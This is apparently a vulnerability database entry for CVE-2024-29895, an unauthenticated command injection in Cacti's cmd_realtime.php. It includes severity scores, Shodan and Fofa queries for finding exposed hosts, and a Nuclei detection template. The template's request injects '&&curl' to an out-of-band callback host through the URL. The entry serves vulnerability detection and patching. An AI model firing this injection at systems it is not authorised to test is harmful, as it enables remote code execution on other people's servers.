SecurityContext

CVE-2024-29895: Cacti cmd_realtime.php - Command Injection

Classification

  • Cwe: CWE-77
  • Cvss score: 10
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Epss score: 0.98826
  • Epss percentile: 0.99927
  • Not known: cpe

Metadata

  • Fofa-query: icon_hash="-1797138069"
  • Max-request: 1
  • Product: cacti
  • Shodan-query: http.favicon.hash:-1797138069
  • Vendor: cacti

Products

ProductIndexedUrl
cacti:cactiyes/v1/products/cacti/cacti

Labels

  • Name: Cacti - Command Injection
  • Impact: Attackers can execute arbitrary commands on the server, potentially leading to full system compromise.
  • Remediation: Disable `register_argc_argv` in PHP configuration or update to a patched version of Cacti.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2024-29895
  • Not known: requirements

```yaml

id: CVE-2024-29895

info:

name: Cacti cmd_realtime.php - Command Injection

author: pussycat0x

severity: critical

description: |

Cacti provides an operational monitoring and fault management framework. A command injection vulnerability on the 1.3.x DEV branch allows any unauthenticated user to execute arbitrary command on the server when `register_argc_argv` option of PHP is `On`. In `cmd_realtime.php` line 119, the `$poller_id` used as part of the command execution is sourced from `$_SERVER['argv']`, which can be controlled by URL when `register_argc_argv` option of PHP is `On`. And this option is `On` by default in many environments such as the main PHP Docker image for PHP.

impact: |

Authenticated attackers can inject and execute arbitrary commands on the Cacti server.

remediation: |

Update Cacti to a version that patches the command injection vulnerability.

reference:

- https://github.com/Stuub/CVE-2024-29895-CactiRCE-PoC

- https://github.com/Cacti/cacti/blob/501712998589763d411a68d35e3cda98fd9cfd18/cmd_realtime.php#L119

- https://github.com/Cacti/cacti/commit/53e8014d1f082034e0646edc6286cde3800c683d

- https://github.com/Cacti/cacti/commit/99633903cad0de5ace636249de16f77e57a3c8fc

- https://github.com/Cacti/cacti/security/advisories/GHSA-cr28-x256-xf5m

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

cvss-score: 10

cve-id: CVE-2024-29895

cwe-id: CWE-77

epss-score: 0.98826

epss-percentile: 0.99927

metadata:

max-request: 1

vendor: cacti

product: cacti

shodan-query: http.favicon.hash:-1797138069

fofa-query: icon_hash="-1797138069"

tags: cve,cve2024,cacti,rce,vkev,vuln

http:

- method: GET

path:

- "{{BaseURL}}/cacti/cmd_realtime.php?1+1&&curl%20{{interactsh-url}}+1+1+1"

matchers-condition: and

matchers:

- type: word

part: interactsh_protocol

words:

- "http"

- type: word

part: interactsh_request

words:

- "User-Agent: curl"

- type: status

status:

- 200

digest: 490a0046304402204f37e304306b11475796eca4b46cedf11b7de4f3d28a48853fdfd2567021c5ff02205cb84125cdd269cd8b2023d885c423b2c1f2500efd353ce0f2dc3df38c5475f5:922c64590222798bb761d5b6d8e72950

```